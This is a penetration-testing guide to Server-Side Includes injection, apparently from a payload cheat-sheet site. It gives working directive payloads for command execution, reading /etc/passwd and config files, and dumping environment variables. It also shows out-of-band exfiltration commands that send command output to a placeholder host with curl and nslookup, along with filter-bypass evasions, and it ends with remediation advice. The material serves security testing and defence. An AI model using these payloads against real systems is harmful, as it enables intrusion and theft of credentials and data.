Server-Side Includes (SSI) Injection: Directives, RCE, and File Disclosure
Server-Side Includes (SSI) is a legacy server-side scripting mechanism that lets HTML documents pull in dynamic content — file contents, environment variables, CGI output, even the result of arbitrary shell commands — at the moment the server renders the page. Apache (via mod_include), nginx (via the ssi directive), IIS, and lighttpd all support some flavor of it. When an application echoes attacker-controlled input into a page that the server then parses for SSI directives, you have SSI injection: an underrated bug class that often jumps straight from "reflected input" to full command execution and file disclosure.
SSI injection is the spiritual cousin of XSS and SSTI. The reflection mechanics are identical — your payload lands in the response — but the parser is the web server itself, not the browser or a template engine. That distinction matters: a directive is processed before the response ever leaves the server, so the impact is server-side. This guide covers the directive syntax worth memorizing, how to escalate from disclosure to RCE, how to confirm the bug blind, and how defenders shut it down. Everything here assumes an authorized engagement against a system you have written permission to test.
How SSI Parsing Actually Works
SSI directives are HTML comments with a specific structure. The server scans rendered output for the magic prefix <!--#, executes the directive, and substitutes the result inline. The parser only activates for files the server is configured to treat as parseable — historically .shtml, .shtm, and .stm, but plenty of misconfigured deployments enable parsing on .html or even all content via XBitHack or a blanket SSILegacyExprParser setup.
The canonical directive form looks like this:
<!--#directive parameter="value" -->
The exploitable insight is that the server does not care where the directive text came from. If user input (a username, a search term, a User-Agent header, a filename) is written into a page that subsequently passes through the SSI parser, your directive runs with the privileges of the web server process.
The Directives Worth Knowing
Only a handful of directives matter for offensive testing. Memorize these and you can cover the vast majority of SSI work:
#exec— runs a shell command (cmd) or a CGI program (cgi). This is the direct path to RCE.#include— embeds another file by virtual path or filesystem path. The route to source and config disclosure.#echo— prints a variable. Great for a low-noise proof of concept and for leaking environment data.#config— changes parser behavior, e.g. the error string emitted on a malformed directive (useful for blind confirmation).#printenv— dumps every environment variable, frequently including secrets, internal paths, and session data.#fsize/#flastmod— report a file's size and modification time; handy for confirming file reads when content echo is filtered.
A minimal, low-impact confirmation payload that prints a server variable rather than executing anything:
<!--#echo var="DATE_LOCAL" -->
<!--#echo var="DOCUMENT_NAME" -->
<!--#echo var="SERVER_SOFTWARE" -->
If the rendered response replaces the directive with an actual timestamp, the page name, or the server banner, the parser is live and you have SSI injection.
Command Execution via #exec
The #exec directive is the headline. On a vulnerable Apache mod_include deployment with Options +Includes (as opposed to the safer +IncludesNOEXEC), exec cmd hands you a shell:
<!--#exec cmd="id" -->
<!--#exec cmd="uname -a" -->
<!--#exec cmd="cat /etc/passwd" -->
Because the directive output is spliced into the HTML response, command output usually comes back inline. From a confirmed id, escalation follows the same playbook as any OS command injection — staging a reverse shell, enumerating the filesystem, pivoting. The mechanics of turning that first command into a foothold overlap heavily with classic shell injection, so the techniques in the command injection cheat sheet apply directly once #exec cmd fires.
When IncludesNOEXEC is set, exec cmd is disabled but exec cgi and #include virtual against a CGI endpoint can still be abused to reach executable code:
<!--#exec cgi="/cgi-bin/status.cgi" -->
<!--#include virtual="/cgi-bin/printenv.pl" -->
nginx SSI is far more constrained — it deliberately has no exec directive — but its #include with the wait/set options and #block can still produce file disclosure and subrequest abuse, so never assume "it's nginx" means "it's safe."
File Disclosure via #include and #echo
Even without command execution, #include is a powerful primitive. The file parameter reads relative to the current directory; virtual reads relative to the document root and is the one to reach for when you want to traverse:
<!--#include virtual="/etc/passwd" -->
<!--#include file="../../../../etc/passwd" -->
<!--#include virtual="/proc/self/environ" -->
<!--#include virtual="/var/www/app/config/database.yml" -->
Reading application source — configuration files, .env, framework secrets, deployment scripts — frequently yields database credentials, API keys, and signing secrets that turn a single page into a full compromise. The path-traversal mechanics here mirror local file inclusion exactly, and the wordlists and traversal tricks in the LFI and path traversal cheat sheet are the natural companion when you are hunting for the right target file.
#printenv deserves a special mention because it requires no path guessing at all:
<!--#printenv -->
This dumps the full CGI environment — HTTP_* headers, DOCUMENT_ROOT, SCRIPT_FILENAME, and any secrets the operator unwisely passed as environment variables — in one shot.
Finding Injection Points
SSI directives can be injected anywhere the server later renders attacker input into a parseable page. The highest-value sinks in real engagements:
- Reflected parameters on
.shtmlpages — search forms, error messages, "you searched for X" echoes. - Stored input rendered into SSI pages — profile fields, comments, support tickets, log viewers.
- HTTP headers logged and displayed —
User-Agent,Referer, andX-Forwarded-Forare classic when an admin log viewer is itself an.shtmlfile. - Filenames and upload metadata echoed back by file managers.
The fastest fingerprint is to inject a benign directive and look for substitution. A useful all-purpose probe combines a harmless arithmetic-free echo with a malformed directive to trigger an error:
# Benign substitution probe (no execution)
<!--#echo var="DATE_GMT" -->
# Broken directive — a [an error occurred ...] string in the
# response strongly suggests an active SSI parser
<!--#exec_broken -->
If the literal directive comes back unmodified, SSI is either disabled or the page is not parsed. If the timestamp appears, or the default [an error occurred while processing this directive] message shows up, you are in.
Blind and Out-of-Band Detection
Plenty of injection points never reflect output back to you — a stored payload that only renders in an admin panel, or a directive that executes but whose result is discarded. For these, fall back to side channels.
Time-based confirmation works when exec cmd is available by introducing a measurable delay:
<!--#exec cmd="sleep 10" -->
<!--#exec cmd="ping -c 10 127.0.0.1" -->
A reliable ~10-second delay in response time confirms execution without ever needing to see output.
Out-of-band confirmation is the more robust approach for blind cases: have the server reach out to a collaborator host you control via DNS or HTTP. This also lets you exfiltrate command output through the requested hostname or path even when the page itself shows nothing:
<!--#exec cmd="nslookup $(whoami).YOUR-OOB-HOST" -->
<!--#exec cmd="curl http://YOUR-OOB-HOST/$(id | base64 -w0)" -->
<!--#include virtual="/cgi-bin/x?http://YOUR-OOB-HOST/ping" -->
Spin up a listener — Burp Collaborator, an interactsh client, or a webhook endpoint — and generate the right callback strings with the Callback Catcher helper so a single payload covers DNS, HTTP, and shell-substitution variants. An inbound DNS lookup or HTTP hit confirms blind SSI injection and gives you a covert exfiltration channel in one move.
Filter Bypass Notes
Defensive filters often strip the obvious <!--#exec string while leaving the parser enabled. A few practical evasions worth trying on an authorized target:
- Whitespace and newlines inside the directive:
<!--#exec%20%20cmd="id"%20-->or a literal newline between the directive name and parameters. - Switching directives: if
#execis blocked, try#include virtualagainst a CGI or#printenvfor disclosure instead. - Encoding the wrapper: HTML-entity or URL-encoded variants of
<,!, and#that the application decodes before the SSI parser sees them. - Context breakouts: when input lands inside an attribute or existing comment, prepend
-->or">to escape into a position the parser will honor.
Always document the exact transformation that worked — the difference between a blocked and a working payload is usually one character, and a clear reproduction step is what makes the finding actionable for the client.
Remediation and Defenses
Fixing SSI injection is a defense-in-depth exercise; no single control is sufficient:
- Disable SSI unless it is genuinely required. Most modern apps do not need it. In Apache, remove
IncludesfromOptionsand unregister the.shtmlhandler. In nginx, ensuressi off;on locations serving user-influenced content. - Never enable command execution. If SSI is mandatory, use
Options +IncludesNOEXECsoexec cmdand CGI execution are disabled, collapsing the worst-case impact from RCE down to limited disclosure. - Treat the directive prefix as dangerous metacharacters. HTML-encode user input before it is written to any page — particularly
<,!,#,-,", and=. Encoding<to<alone neutralizes directive parsing. - Separate dynamic data from parseable pages. Do not render user input into
.shtmlfiles at all; serve dynamic content from a non-parsed handler. - Constrain the worker. Run the web server as a low-privilege user, apply filesystem restrictions (chroot, AppArmor/SELinux), and limit which paths
#includecan reach so disclosure stays contained even if a directive slips through. - Add a WAF rule for the
<!--#signature as a detective control — useful for alerting, but never the primary defense, since it is bypassable.
SSI injection survives in the wild precisely because it is forgotten — a legacy feature left enabled on hardware-store CMSes, embedded device admin panels, and decades-old intranet apps. For a pentester, a quick <!--#echo var="DATE_LOCAL" --> probe on any .shtml endpoint costs nothing and occasionally returns a critical. Keep the directive set in your back pocket, confirm safely with an echo before reaching for #exec, and always operate inside your authorized scope.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides